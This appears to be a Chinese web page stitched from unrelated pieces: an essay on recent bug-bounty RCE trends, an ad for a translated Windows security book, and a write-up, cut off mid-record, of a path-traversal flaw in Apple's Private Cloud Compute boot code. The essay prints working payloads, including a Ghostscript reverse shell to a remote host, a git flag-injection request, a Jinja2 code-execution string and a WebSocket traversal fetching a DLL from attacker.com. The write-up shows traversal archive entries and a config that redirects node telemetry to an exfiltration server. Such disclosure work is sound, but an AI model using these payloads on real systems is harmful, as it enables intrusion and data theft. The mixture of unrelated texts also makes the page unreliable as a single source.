RCE 的高价值攻击面已迁移至 CI/CD 供应链、框架模板引擎、基础设施工具、漏洞链与桌面客户端；2026 年的测试方法需要覆盖完整系统。

30 秒摘要：我比较了定义 2018-2021 年漏洞赏金领域的 RCE 报告，以及 2024-2026 年正在披露的案例。攻击面的规模保持不变，位置已发生迁移。文件上传绕过、直接命令注入和已知 CVE 利用仍然有效，当下影响最大的 RCE 来自 CI/CD 供应链、框架级模板引擎、curl 和 Tomcat 等基础设施工具、多步骤漏洞链，以及桌面应用中的客户端路径遍历。沿用旧 RCE 方法论会持续缩小测试覆盖的攻击面。

为什么 2020 年的测试方法逐渐失效

我从 2018-2021 年漏洞赏金时期的实践中学习 RCE 测试。

这套方法很直接。上传精心构造的图像，观察 ImageMagick 或 ExifTool 是否会处理它。在每个参数中尝试 ;id。检查目标是否运行了存在已知漏洞的 Struts、Confluence 或 WebLogic 版本。发现 SQLi 后，尝试通过 xp_cmdshell或文件写入扩大影响。

这些技术曾产生真实成果。Frans Rosen 上传了一个伪装成 JPG 的 PostScript 文件，该文件触发 ImageMagick 的 Ghostscript delegate，使他在 Shopify 的 Kit CRM 上获得 shell；随后，他从该 shell 中访问了 AWS 元数据凭据 (报告 422944)。Vakzz 通过搜索 API 参数向 git 命令注入 --output=，覆盖了 GitLab 的 authorized_keys，随后以 git用户身份通过 SSH 登录 (报告 658013，$12,000)。Alex Birsan 向公共 PyPI 注册表上传了名为 yelp-cgeom的软件包；Yelp 的 CI 流水线下载并使用该软件包替代内部版本时，他在 Yelp 的构建服务器上实现了代码执行 (报告 946409)。

这些赏金金额为 10K−30K。它们定义了漏洞赏金领域中“发现 RCE”的含义。

随后，我查看了 2024 年、2025 年和 2026 年实际披露的案例。报告来自不同位置，技术也有所不同，攻击面已发生迁移。

旧方法论依然有效，其覆盖的攻击面份额正在缩小。近期数据展示了当前 RCE 的主要分布位置，以及相应的测试方向。

2020 年的 RCE 是什么样子

2018-2021 年的 RCE 测试方法包括四种主要手法。

文件上传 → 图像处理库

ImageMagick、Ghostscript、ExifTool。上传精心构造的文件，服务器处理该文件，随后获得代码执行。

Semrush 报告 (403417) 是一个教科书式案例。徽标上传端点将文件交由 ImageMagick 处理，且未禁用 PostScript 处理。一个包含 PostScript 并调用 Ghostscript %pipe%操作符的 .jpg文件，使 Frans Rosen 获得了反向 shell：

%!PSuserdict /setpagedevice undeflegal{ null restore } stopped { pop } iflegalmark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/███/8080 0>&1') currentdevice putdeviceprops

在 GitLab 上，vakzz 发现 ExifTool 会解析 DjVu 元数据，并通过转义序列绕过使 eval执行 Perl 代码 — 一个包含经构造 DjVu 注释的 .jpg文件即可获得对 gitlab.com生产服务器的 shell 访问权限 (报告 1154542，$20,000)。

直接命令注入

用户输入在未经清理的情况下被拼接到系统命令中。

GitLab 的搜索 API 接受 ref参数，并将其直接传递给 git 命令。在将某个 wiki 页面的提交消息设置为 SSH 公钥后，将 --output=/var/opt/gitlab/.ssh/authorized_keys作为 ref的值注入，即可获得服务器的 SSH 访问权限 (报告 658013，$12,000)。

curl --header "PRIVATE-TOKEN: $TOKEN" \  'http://gitlab-vm.local/api/v4/projects/5/search?scope=wiki_blobs&search=page&ref=--output=/var/opt/gitlab/.ssh/authorized_keys'

另一份 GitLab 报告发现，DecompressedArchiveSizeValidator将攻击者控制的 archive_path作为 shell 字符串传递给 Open3.popen3。/tmp/ggg;echo lala|tee /tmp/1234;#这样的路径可实现任意命令执行 (报告 1609965，$33,510 — 数据集中最高的 RCE 赏金)。

暴露服务中的已知 CVE

找到运行易受攻击版本的服务器，利用 CVE，获得 RCE。仅美国 DoD 项目就产生了数十个此类案例：CVE-2017-10271 (Oracle WebLogic)、CVE-2021-26084 (Confluence)、CVE-2020-5902 (F5 BIG-IP)。大范围、低针对性的自动化探测可以发现并利用这类漏洞。

SSTI → RCE

模板注入可升级为代码执行。Uber 通过个人资料名称字段触发的 Flask Jinja2 SSTI 是经典案例 — 个人资料名称中的 {{ '7'*7 }}在电子邮件通知中被渲染为 7777777，证明模板发生求值，随后通过遍历 Python 类实现 RCE (报告 125980，$10,000)。

这些模式仍在产生漏洞。2024-2026 年的报告来源则呈现出新的方向。

五项变化

1. RCE 从 Web 端点迁移至 CI/CD 和供应链

2026 年影响最大的 RCE 位于构建和部署代码的流水线中。

2026 年 3 月，一名研究人员报告称，DuckDuckGo 的 privacy-configuration仓库存在一个使用 pull_request_target的 GitHub Actions 工作流 — 该触发器以特权访问权限和敏感凭据运行。该工作流将 fork 的仓库作为基础分支和 PR 分支检出，随后在攻击者控制的代码上运行 npm ci和 node index.js，环境中提供了 PRIVACY_CONFIG_PAT和其他令牌 (报告 3619288)。

任何 GitHub 用户都可创建 fork PR，并在 Actions runner 上获得任意代码执行。影响范围还包括 PRIVACY_CONFIG_PAT的外传，以及使用该令牌批准隐私配置中的恶意 PR；该配置控制每一款 DuckDuckGo 浏览器对跟踪器的拦截。

这并非孤例。2024 年，一名研究人员通过重新上传经修改的 NX Cloud 缓存工件，污染了 Mozilla 的 Firefox Accounts CI 构建缓存，并以外传环境变量作为概念验证 (报告 2255750，$8,000)。fxa 仓库是公开的，为攻击者提供了构造被污染缓存所需的源代码访问权限。

这一模式出现得更早：Alex Birsan 的依赖混淆攻击 — 将带有内部名称的软件包上传至公共软件包注册表，并等待 CI 流水线拉取它们 — 使他从 PayPal 获得了 30,000的赏金([报告925585](https://hackerone.com/reports/925585))。同一名研究人员还以同类攻击影响了Uber(9,000) 和 Yelp。

这一转变：RCE 的注入目标从“我能向这个 HTTP 请求注入什么？”转变为“我能向这个构建过程注入什么？”

2. 注入从应用程序迁移至框架

2025 年 5 月，一名研究人员发现，Fastify 的 @fastify/view插件在配合 EJS 模板引擎和 reply.view({ raw })模式使用时，会将用户控制的字符串直接传递给 ejs.compile()，且未进行清理 (报告 3122019)。

将用户提供的内容作为原始 EJS 模板进行渲染的端点，可被利用实现 RCE：

2025 年 6 月，一名研究人员发现，Amazon Managed Workflows for Apache Airflow (MWAA) 运行 Airflow 2.9.2，该版本受 CVE-2024-39877 影响 — 这是 DAG 文档字符串中的 SSTI 漏洞。doc_md字段经由 Jinja2 渲染，Python 的 __subclasses__()链可到达 subprocess.Popen执行命令 (报告 3217840)：

doc_md="""{{ ''.__class__.__mro__[1].__subclasses__()[309]('id', shell=True, stdout=-1).communicate() }}"""

这类注入源于框架实现中的缺陷。漏洞代码位于框架本身，用于安全模板渲染的实现存在缺陷。应用程序将用户可控内容传入该功能时即可触发漏洞。

这一转变：将注入点的搜索重点转向框架。

3. 攻击面扩展至基础设施工具

仅在 2025 年，curl 就通过 HackerOne 收到多份 RCE 报告。Cookie 解析中的栈缓冲区溢出：strlen()读取越过一个 8 KB 栈缓冲区 (报告 3340109)。MQTT CONNACK 数据包类型绕过可通过恶意 broker 导致 RCE (报告 3712343)。通过 --engine选项实现任意库加载 (报告 3293801)。

2025 年 3 月，CVE-2025-24813 被披露：Apache Tomcat 中，部分 PUT 与基于文件的会话持久化、反序列化相结合导致 RCE (报告 3031518，$4,323)。

2024 年 1 月，GitHub Enterprise Server 至少披露了四条彼此独立的 RCE 路径：ghe-update-check中的路径 (CVE-2024-1359，报告 2325023)、syslog-ng中的路径 (2329466)、actions-console中的路径 (2323292)，以及 collectd中的路径 (2329547)。四条路径均可使具有 Management Console Editor 权限的攻击者将权限提升至 root，并获得 SSH 访问权限。

这些均为基础设施工具，用于支撑其他工具和服务的运行。数百万个应用程序使用 curl。Tomcat 承载数千个 Java 服务。GitHub Enterprise Server 是用于构建和部署代码的基础设施。

这一转变：攻击面涵盖基础设施本身及其上运行的应用程序。

4. 最具影响力的 RCE 由漏洞链构成

CVE-2025-24813 (Apache Tomcat) 是最清晰的例子。该 RCE 要求以下四项条件同时成立：

• 默认 servlet 的写入功能已启用 (默认处于禁用状态)

• 支持部分 PUT (默认启用)

• 应用程序采用 Tomcat 基于文件的会话持久化，并使用默认存储位置

• 应用程序包含可用于反序列化攻击的库

四项条件同时成立，构成该漏洞的完整利用链。部分 PUT 将序列化会话文件写入会话持久化目录，应用程序加载该文件时对其进行反序列化，由此形成 RCE。

这一模式也出现在其他地方。SQL 注入与不安全反序列化结合，导致 Krisp 上的 RCE (报告 1842674)。Rocket.Chat 桌面客户端中的 XSS 通过 Electron 的 shell.openExternal()和 IPC 通道升级为 RCE (多份报告)。路径遍历与文件写入结合，导致 Mozilla VPN 上的 RCE。

这一转变：最具影响力的 RCE 由漏洞链构成。链中的每一步属于不同的漏洞类别；发现整条漏洞链需要测试各步骤及其组合关系。

5. RCE 转向客户端侧

2025 年 2 月，一名研究人员发现，Mozilla VPN 客户端的 live_reload检查器命令存在路径遍历漏洞 (报告 2995025，$6,000)。

该命令下载远程文件，并按目录与用户提供的文件名拼接而成的路径保存该文件 — 未清理 ..序列：

auto temp_path = QString("%1/%2").arg(m_qml_folder, path.fileName());auto temp_file = new QFile(temp_path);temp_file->open(QIODevice::WriteOnly);

在 Windows 上，打开一个通过 WebSocket 向 VPN 客户端本地检查器发送有效载荷的恶意网页，即可覆盖文件系统中的任意文件，包括应用程序加载的 DLL：

var ws = new WebSocket('ws://localhost:8765/');var attacker_server = "http://attacker.com"payload = `live_reload ${attacker_server}/..\\..\\traversal_poc.dll`ws.onopen = function() { ws.send(payload); };

此 RCE 属于客户端攻击 — 漏洞位于桌面应用中，并由 Web 攻击向量触发。RCE 通过覆盖应用在启动时加载的 DLL 实现。

这一转变：RCE 攻击面涵盖 Web 服务器；桌面客户端和 VPN 客户端也构成攻击面。网站可以成为入口。

如何更新 2026 年的 RCE 测试方法

旧测试方法仍然有价值 — 文件上传漏洞、命令注入和已知 CVE 仍能带来赏金。当前 RCE 攻击面的多数部分需要补充测试。

需要补充的测试如下。

测试 CI/CD 和供应链

• 在 .github/workflows/文件中查找 pull_request_target。工作流是否检出 fork 代码？是否在该代码上执行命令？工作流环境中是否提供敏感凭据？

• 检查项目的依赖解析顺序。内部软件包名称能否在公共注册表中注册 (npm、PyPI、RubyGems)？CI 流水线是否可能解析并下载同名公共软件包？

• 检查构建缓存系统 (NX Cloud、Gradle、pip cache)。具备仓库读取权限的人员能否覆盖缓存产物？

同时测试框架和应用

• 应用使用什么模板引擎？是否存在接收用户可控字符串的 raw或 inline渲染模式？

• 当前运行的框架是什么版本？该版本是否存在应用可能暴露的已知 SSTI 或代码注入 CVE？

• DAG 文件、配置模板或文档字符串是否通过模板引擎渲染？ (Airflow 的 doc_md字段就是实际案例。)

测试基础设施工具

• 目标使用哪些基础设施工具？curl、Tomcat、Airflow、Jenkins、GitHub Enterprise Server？

• 它们是否运行当前版本？当前部署版本涉及哪些 CVE？当前部署是否满足利用条件？

• 这些工具是否存在接收用户输入、未在文档中说明或说明不充分的 API 端点？

重点查找漏洞链

• 部分 PUT 写入操作能否写入应用后续读取或反序列化的位置？

• 路径遍历能否写入应用后续执行或作为库加载的位置？

• Web 上下文中的 XSS 能否进入桌面应用上下文 (Electron、WebView) 并在其中转化为 RCE？

• 低严重性漏洞 (SSRF、路径遍历、信息泄露) 能否成为最终导致 RCE 的漏洞链的第一步？

测试桌面客户端和 VPN 客户端

• 桌面客户端是否提供网页可访问的本地 WebSocket 或 HTTP 接口？

• 它们是否会从用户可控的 URL 下载并执行文件？

• 它们是否会根据用户输入构造文件路径，且未清理路径遍历序列？

• 客户端是否以开发或 staging 模式运行，并因此暴露额外攻击面？

关键要点

RCE 持续存在，攻击面已迁移。

2020 年，通过向 Web 应用参数注入数据可以发现 RCE。2026 年，通过向构建流水线、框架渲染引擎、基础设施工具和桌面客户端文件路径注入数据，可以发现 RCE。

2020 年有效的方法 — 测试端点、注入载荷、获取 shell — 适用于缺少补丁的端点。具有测试价值的端点已发生变化。如今赏金最高的 RCE 漏洞要求理解整个系统：代码如何构建、应用运行在哪些框架上、依赖哪些基础设施，以及客户端如何与服务器通信。

更新方法论的漏洞研究人员能够发现 2020 年测试方法遗漏的 RCE。

来源

• DuckDuckGo — 通过 GitHub Actions 中的 pull_request_target 实现 RCE 和 PAT 外泄 (2026)

• Mozilla — 通过污染 CI 构建缓存实现 RCE 和机密信息外泄 ($8,000, 2024)

• PayPal — 通过 npm 配置错误 / 依赖混淆实现 RCE ($30,000, 2020)

• Yelp — 通过错误配置的 pip install 在构建服务器上实现 RCE (2020)

• Fastify — 通过在 @fastify/view 中不安全地使用 reply.view({ raw }) 实现 RCE (2025)

• AWS MWAA — 因 Apache Airflow 版本过旧导致 RCE，CVE-2024-39877 (2025)

• curl — Cookie 解析中的栈缓冲区溢出 (2025)

• curl — MQTT CONNACK 数据包类型绕过导致 RCE (2025)

• curl — 通过 --engine选项加载任意库实现 RCE (2025)

• Apache Tomcat — CVE-2025-24813：通过 partial PUT 和反序列化实现 RCE ($4,323, 2025)

• GitHub Enterprise Server — 通过 ghe-update-check 实现 RCE，CVE-2024-1359 (2024)

• GitHub Enterprise Server — 通过 syslog-ng 实现 RCE (2024)

• GitHub Enterprise Server — 通过 actions-console 实现 RCE (2024)

• GitHub Enterprise Server — 通过 collectd 实现 RCE (2024)

• Mozilla VPN — 通过文件写入和路径遍历实现 RCE ($6,000, 2025)

• Krisp — SQL 注入和不安全反序列化导致 RCE

• Shopify — 通过 ImageTragick 在 kitcrm 上实现 RCE (2018)

• Semrush — 通过 ImageMagick/Ghostscript 处理 Logo 上传实现 RCE (2018)

• GitLab — 使用 ExifTool 移除元数据时实现 RCE ($20,000, 2021)

• GitLab — Git 标志注入导致 RCE ($12,000，2019)

• GitLab — 通过 DecompressedArchiveSizeValidator 实现 RCE ($33,510, 2022)

• Uber — 通过 Flask Jinja2 模板注入实现 RCE ($10,000，2016)

---

免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。    

阅读原文

跳转微信打开

本书是国际顶尖安全专家打造的Windows AAA体系权威实战指南。全书基于Windows 10、Windows Server 2016及以上主流稳定版本编写，搭配PowerShell与NTObjectManager模块共计550余条专用命令，兼顾理论深度与落地能力，全方位补齐Windows安全技术短板。

Part.1

击穿 Windows 安全壁垒：

从真实入侵事件到AAA体系全解

2026年初，全球知名邮件系统厂商 SmarterTools 遭到 Warlock 勒索团伙（关联 Storm-2603 组织）攻击。攻击者以一台长期无人维护、未及时打补丁的 Windows 虚拟机为突破口，利用高危漏洞绕过系统身份验证，依托活动目录（AD）在内网横向渗透，新建隐藏账户持久控权，逐步接管内网权限。

攻击者潜伏一周后发起勒索加密，虽终端安全工具成功拦截核心加密行为，但企业仍不得不启用 6 小时前的备份完成灾难恢复，业务中断造成直接经济损失与品牌负面影响。

事后复盘直指核心隐患：现场运维仅依赖图形界面做基础配置，不了解 SAM 数据库凭据存储机制、漠视权限最小化原则、无法识别异常登录、看不懂底层审计日志。本该层层设防的 Windows AAA 安全体系，最终被攻击者逐个突破。

放眼全行业，金融、医疗、制造等领域也曾多次因 Windows 内核漏洞、NTLM/Kerberos 协议滥用、权限越权等问题，发生数据泄露、产线停工、业务系统瘫痪等重大事故。如今 Windows 作为政企终端、服务器、大型域网络的核心载体，早已成为网络攻击的首要目标。

身份验证、授权、审计（AAA）是 Windows 安全的三道核心防线。如果只停留在表层操作，缺失底层原理认知，再昂贵的安全设备也无法真正抵御高级威胁。

绝大多数运维、开发、安全从业者受限于 Windows 闭源+面向 API 的架构特性，难以深入探究系统本质，面对域渗透、凭据窃取、权限失控、审计失效等问题常常束手无策。《Windows 安全内幕：身份验证、授权与审计（AAA）核心技术详解》专为破解这一行业痛点打造，以底层原理为根基、PowerShell 实战为抓手，帮助从业者吃透 Windows 安全核心机制，从根源规避同类安全事故。

本书并非零散的操作技巧合集，是国际顶尖安全专家打造的 Windows AAA 体系权威实战指南。全书基于 Windows 10、Windows Server 2016 及以上主流稳定版本编写，搭配 PowerShell 与 NTObjectManager 模块共计 550 余条专用命令，按照认知梳理→架构思想→底层剖析→项目实战→行业展望五大阶梯式板块编排，兼顾理论深度与落地能力，全方位补齐 Windows 安全技术短板。

▼点击下方，即可购书

（一）五大学习板块，循序渐进搭建完整安全知识体系

● 认知梳理

破除“只会图形操作、不懂底层逻辑”的普遍误区，解析 Windows 面向 API 的核心架构，区分常规运维与企业域级防护的差异，梳理安全体系演进路线，帮助读者建立系统化认知，快速识别日常运维中的潜在风险。

● 架构思想

深度解读安全引用监视器、多级权限防御、全链路审计等顶层设计，拆解工业级安全架构思路，树立安全、合规、可控的设计思维，从架构源头规避权限越权、防御缺位等问题。

● 底层剖析（全书硬核内容）

逐模块拆解访问令牌、安全描述符、SDDL、SAM 数据库等核心组件，深挖交互式身份验证、NTLM、Kerberos、协商协议等主流认证机制，完整还原凭据存储、权限校验、访问检查的底层细节，彻底看懂攻击者渗透、提权、窃取凭据的全链路技术手法。

● 项目实战

手把手搭建 PowerShell 测试环境与 Windows 域网络仿真环境，无需额外硬件即可开展实验。覆盖单机安全加固、服务器集群防护、大型域环境运维三大场景，结合 NTLM 中继、Kerberoasting、域渗透等典型攻防案例，讲解漏洞排查、入侵溯源、安全重构、应急响应等落地方法，把理论转化为实战防御能力。

● 行业展望

结合 Windows 版本迭代与全球网络攻防态势，分析零日漏洞防御、跨域安全、终端安全联动等前沿方向，帮助从业者把握技术风口，规划长期技能升级路线。

（二）四大核心优势，区别于普通入门读物

● 经典蓝本，长期复用

基于主流 Windows 稳定版本创作，系统核心安全架构多年未发生颠覆性变更，不受小版本迭代影响，是市面稀缺的 Windows 底层安全深度工具书，适合企业团队长期查阅使用。

● 实战为王，拒绝空谈

全书所有原理、结论均经过真机调试与攻防实测，每章配套可直接运行的 PowerShell 案例，复现安全机制与攻击场景，真正做到知原理、懂攻防、会防御。

● 全岗位适配，受众广泛

开发人员可筑牢应用安全边界；运维人员可优化终端与服务器防护策略；安全研究员可深挖漏洞底层成因；架构师可搭建企业全域安全体系；技术管理者可统筹团队安全运维框架。

● 分层阅读，高效学习

书中设置专属阅读指引：实战人员可直接跳转实战章节快速上手；研究人员可深耕架构与底层原理；管理者可聚焦行业认知与趋势分析，按需学习，事半功倍。

（三）读者核心收获

读完本书，你将彻底摆脱被动防御的局面：

优化现有安全配置体系，有效解决凭据泄露、认证劫持、域渗透等高频安全风险；

依托 AAA 安全思想，搭建单机+域环境一体化纵深防御体系，无缝对接企业现有运维、监控、审计流水线；

精通 Windows 内核组件与主流认证协议底层原理，手握稀缺实战经验，提升岗位竞争力；

完成老旧服务器、存量域环境的安全重构与加固，大幅降低企业安全运维与应急处置成本。

Part.2

作者、译者与权威背书

原著作者

詹姆斯・福肖（James Forshaw）

Google Project Zero 资深计算机安全专家，拥有 20 余年 Windows 及微软生态安全研究经验，累计公开数百个高危零日漏洞。

长期深耕系统底层机制、漏洞挖掘、沙箱安全优化领域，研究成果被全球安全行业广泛引用，常年出席国际顶级安全会议，是全球公认的 Windows 安全领域顶尖专家。本书凝聚了作者数十年一线攻防与漏洞研究的实战精华。

联合译者

陈殷（@皇智远）

呼和浩特市公安局网络安全专家、中国电子劳动学会专家委员会委员，深耕网络犯罪打击、红队评估、关键信息基础设施防护领域，主导多项千万级安全建设项目，多次在 ISC、FCIS 等国内顶级安全大会发表演讲。

孟方明（@Moriarty .M）

RedCore 红队创始人兼技术委员会主席，拥有 22 年渗透实战经验与 8 年攻防工具研发经验，主导多款自动化攻防工具研发，专注红队攻防体系搭建与网络安全人才培养。

两位国内一线网安实战专家联合翻译，译文专业精准，高度贴合国内企业落地场景。

重磅推荐人：Jeffrey Snover

PowerShell 创始人、Windows Server 前首席架构师、微软前技术院士。作为 Windows 生态核心缔造者之一，亲笔为本书作序推荐，高度认可本书在解析 Windows 底层安全、降低技术研究门槛方面的核心价值。

Part.3

结尾

频发的 Windows 安全事故不断敲响警钟：仅靠图形界面浅层配置，无法抵御日趋复杂的高级网络攻击。

《Windows 安全内幕：身份验证、授权与审计（AAA）核心技术详解》融合国际顶尖研究成果与国内实战经验，从真实攻防案例切入，由底层原理落地实战，是 Windows 运维人员、安全人员、开发人员、架构人员进阶必备宝典。

吃透 AAA 安全体系，读懂系统底层运行逻辑，主动构建纵深安全防线，远离域渗透、勒索软件、数据泄露等重大风险，在网络安全赛道筑牢核心竞争力！

—END—

原创

初审：孙喆思

复审：栾传龙 

终审：孙英

跳转微信打开

Drinor 在 PCC 供应代码 darwin-init 中发现路径遍历漏洞（CVE-2026-20685），可借启动窗口以 root 身份写文件、重定向推理遥测并绕过证明，获 Apple 赏金 $150,000。

Drinor 因 CVE-2026-20685（针对 Apple 的 Private Cloud Compute——Apple Intelligence 各项能力的推理骨干）获得了 $150,000 的奖励。

这项工作是我对 Sentry AI 安全研究计划所做的贡献，该计划通过 SARC（Sentry 应用研究中心）运作。我们的 SARC 专注于评估那些随着 AI 走进日常技术而承载最大后果的系统。Private Cloud Compute 是这项工作的天然目标，因为它为 Apple Intelligence 背后的隐私保证提供了支撑。未来几周将发布一份更详细的技术论文，敬请期待！

Private Cloud Compute 作为 Apple Intelligence 功能的核心组件正变得日益重要。它的设计目标是让服务器在处理你的数据时，能够提供接近 iPhone 在设备端为 AI 推理请求所给予的隐私保证。我在供应 PCC 节点的代码 darwin-init中发现了一个路径遍历漏洞，它允许攻击者以 root身份写入文件，并破坏了 PCC 中的隐私和安全保证。Apple 将其编号为 CVE-2026-20685。

我是通过 Apple 的 Virtual Research Environment 发现该漏洞的。这个利用相当酷，涉及在启动期间以 root 身份写入文件，并将节点的推理（及其他）遥测数据重定向到我控制的一台服务器。我认为这是一个相当有趣的发现。除了利用本身，我还将更详细地解释 PCC 是什么，以及它的保证对 Apple 和在其产品中集成 AI 为何重要。然后我会谈谈启动窗口、易受攻击的组件本身，最后是利用及其相关影响。

什么是 PCC，它如何与 AI 相关联

Private Cloud Compute 是 Apple 的服务器端基础设施，用于处理那些太大或太复杂而无法在手机上运行的 Apple Intelligence 请求。Apple 对其的隐私声明建立在三个重要机制之上。

无状态。节点在内存中处理请求，不跨请求或重启保留任何用户数据。

可证明。在你的设备发送任何内容之前，它会根据公开的透明日志进行加密验证，确认该节点只运行 Apple 发布的软件。

密封的可观测性。日志和指标通过密封的审计表传递，因此只有特定的预先批准字段才能离开节点。

定义

几个术语有助于澄清博客其余部分的内容。

• 一个 PCC 节点是集群中的一台服务器，一个加固的 DarwinOS。

• 一个 cryptex是一个加密密封的扩展，一个在启动时挂载到节点上的签名代码和数据包；PCC 将其操作系统和服务作为 cryptex 交付。darwin-init是启动节点上的第一个用户空间进程，PID 1，以 root 身份运行：它获取节点的配置，下载并提取 cryptex，安装它们，并触发一次用户空间重启以进入运行中的系统。

• VRE

  （Virtual Research Environment）在虚拟机中启动一个真实的 PCC 镜像，以便研究人员测试它。

• 信任边界

  是 Apple 划定的 PCC 内部（你的数据受保护）与外部（不受保护）之间的界限，而 attestation（证明）是你的设备在信任节点之前检查其真实性及只运行已发布软件的方式。

启动窗口：darwin-init 以 root 身份运行

PCC 节点的第一个用户空间进程是 darwin-init，PID 1，root。它解析配置源，下载系统 cryptex，提取它们，个性化并安装它们，然后触发一次用户空间重启（USR），使稳态服务启动。

关于该启动窗口有两个重要事实。首先，darwin-init在运行任何强制节点稳态假设的服务之前以 root 身份向可写数据卷写入。它留在磁盘上的任何内容在节点启动时都存在。

其次，Cryptex 一次安装一个。其检查将结果与请求的配置进行比较。如果一个 cryptex 安装失败，检查失败，USR 无法继续，导致节点挂起且没有任何服务。

图 1. PCC 节点如何启动。darwin-init解析其配置、获取并提取 cryptex、运行空的 validate(cryptexConfig:)桩函数、个性化并安装，然后触发启动后服务的用户空间重启。

PCC 的提取器

当 darwin-init下载一个构件时，它会读取前四个字节来选择一个提取器。

tar 归档的 ustar签名位于字节偏移 257 处，远远超出四字节窗口。由于 tar 不匹配任何已知魔数，它会落入 default分支并进入通用的 extract(to:)。

易受攻击的函数

extract(to:)执行以下操作：

guardlet cStr = archive_entry_pathname(entry) else { continue }
let str = String(cString: cStr)
// 更新相对于输出目录的条目路径名
let pathname = path.appending(str)
archive_entry_set_pathname(entry, pathname.description)

条目名称直接来自归档，并追加到输出目录后面，没有任何净化/验证。从其提取选项可以确认这一点：

let options = ARCHIVE_EXTRACT_TIME | ARCHIVE_EXTRACT_PERM
            | ARCHIVE_EXTRACT_ACL  | ARCHIVE_EXTRACT_FFLAGS

这些选项保留时间戳、权限、ACL 和文件标志。然而，libarchive 的安全标志一个都没有设置，导致 libarchive 会写入条目名称所指向的任何位置，并返回 ARCHIVE_OK。

有两个控制措施本可以防止这一点。cryptex 配置会经过 PrivateCloudOSValidator.validate(cryptexConfig:)，而在已发布的源码中这是一个空函数体。每个 cryptex 的 sha256摘要是可选的，因此当攻击者提供配置时，可以省略完整性验证。我利用了这一点。

提取路径

提取基目录有四层深：

/var/tmp/darwin-init/cryptex/<UUID>/

因此遍历选项如下所述：

三个 ..到达 /var/tmp/，USR 会将其擦除，因此在这种情况下对持久化和利用毫无用处。四个到达可写数据卷上的 /var/db/，它在重启后持久保存。这正是我想要并利用的位置。

构造恶意 cryptex

这是我不得不反复实验的一个有趣部分。

一个装满遍历条目的原始 tar 会写入我的文件，然后由于 fullyApplied检查失败而失败，如前所述，启动会挂起。因此载荷必须同时具备两个身份：一个有效的路径遍历利用程序和一个结构上合法、能通过检查的 cryptex。

所以我的做法是：一个 tar 归档包含两类条目。

1) 以 ../../../../db/为前缀的遍历条目逃逸到 /var/db/。在它们旁边放着一个完整、合法的 cryptex 包，Restore/BuildManifest.plist和

2) 一个 Restore/Cryptex/POC_DEMO/{gdmg,ginf,gtcd,gtgv}集合，通过在一个一次性的源目录上运行 Apple 自己的 pccvre cryptex create并提取生成的 .aar产生。

现在：遍历条目首先在 /var/db/中提取。Restore/子树落在提取目录中，cryptexctl personalize在那里检查它。个性化成功，安装成功，fullyApplied通过，USR 触发，节点终于干净地启动了！

以下是最终完成的归档，来自构建工具的 inspect命令：

$ python3 CVE-2026-20685.py inspect malicious_cryptex.tar
[F]  ../../../../db/poc_darwin_init_traversal_proof           357 B   traversal
[F]  ../../../../db/prcos/splunkloggingd/config-main.plist    836 B   traversal
[D]  Restore/
[D]  Restore/Cryptex/
[F]  Restore/BuildManifest.plist                             1746 B   bundle
[D]  Restore/Cryptex/POC_DEMO/
[F]  Restore/Cryptex/POC_DEMO/gdmg                          14336 B   bundle
[F]  Restore/Cryptex/POC_DEMO/ginf                            527 B   bundle
[F]  Restore/Cryptex/POC_DEMO/gtcd                             46 B   bundle
[F]  Restore/Cryptex/POC_DEMO/gtgv                            229 B   bundle

前两个条目提取到 /var/db/。其余的是真正的 cryptex 包。

在 VRE 上的证明

我从 PCC 版本 37684 构建了一个 VRE 实例，并将恶意 tar 注册为第三个 cryptex，与两个 Apple 提供的发布资产并列。当虚拟机启动时，pccvre在宿主机上启动一个 HTTP 服务器，darwin-init将设备身份 POST 到该服务器，取回一个完整的远程配置，然后通过 HTTP 下载配置命名的每个 cryptex，包括我的。两个 Apple .aar资产匹配 AA01并采用安全的提取器。我的 tar 不匹配任何内容，落入 extract(to:)。

$ /System/Library/SecurityResearch/usr/bin/pccvre instance start --debug -N demo
HTTP service started: 192.168.64.1:58538
DarwinInitHelper update cryptex:
  malicious_cryptex.tar -> http://192.168.64.1:58538/malicious_cryptex.tar
Starting VM: demo  (ecid: 3443e8d0ffe39efa)
Started VM: demo

几秒钟后节点启动了。为了确认，我使用了一个仅研究用的 Debug Shell（生产环境中不存在）进行验证。该 shell 不带 cat或 ls，因此读取使用了内建命令：

$ ssh root@192.168.64.50 'echo "$(< /var/db/poc_darwin_init_traversal_proof)"'
PATH_TRAVERSAL_CONFIRMED: Written by
  darwin-init FilePath+Archive.swift:95
Extraction base: /var/tmp/darwin-init/cryptex/<UUID>/
Target: /var/db/poc_darwin_init_traversal_proof
$ ssh root@192.168.64.50 'test -f /var/db/.DarwinSetupDone && echo BOOT_COMPLETED'
BOOT_COMPLETED

该文件由 root写入，远在提取目录之外，并且它经受住了用户空间重启。.DarwinSetupDone确认启动正常完成。完美。

我想提高它的影响，于是探索了用 root 文件写入能做些什么。

将 splunkloggingd 重定向到我自己控制的端点

PCC 随附 splunkloggingd，一个内部日志转发器。它的 LaunchDaemon 使用一个 PathStateKeepAlive，检查可写数据卷上的一个文件 /var/db/prcos/splunkloggingd/config-main.plist。一旦该文件存在，launchd就启动 splunkloggingd并将其指向文件所指向的任何位置。

我的第二个遍历条目向该文件写入我选择的配置。以下是我认为最关键的字段，省略了一些键：

<key>Server</key>     <string>http://192.168.64.1:8088</string>
<key>Index</key>      <string>exfil</string>
<key>Predicates</key>
<array>
  <string>subsystem == "com.apple.cloudos.cloudboard"</string>
  <string>subsystem == "com.apple.cloudos"</string>
  <string>subsystem == "com.apple.darwininit"</string>
</array>
<key>Level</key>      <string>Debug</string>

在我的下一次迭代中，启动完成后的几秒钟内，我的监听器就收到了约 785 KB 的 CloudBoard 守护进程状态、作业事件和节点遥测数据，此后持续不断地收到信息流。

当我开始在节点上激活 AI 推理时，事情变得更有趣。我驱动了一个推理请求通过它，重定向的流开始携带来自 PCCAgentApp发送方的逐请求元数据，即其 PlaintextMetadata结构的关键字段：

bundleID:             "local-cloudboard-client"
workloadType:         "tie-vre-cli"
requestID:            CAFC3ED5-…-363C47FB9B64
automatedDeviceGroup: "local-test-device"

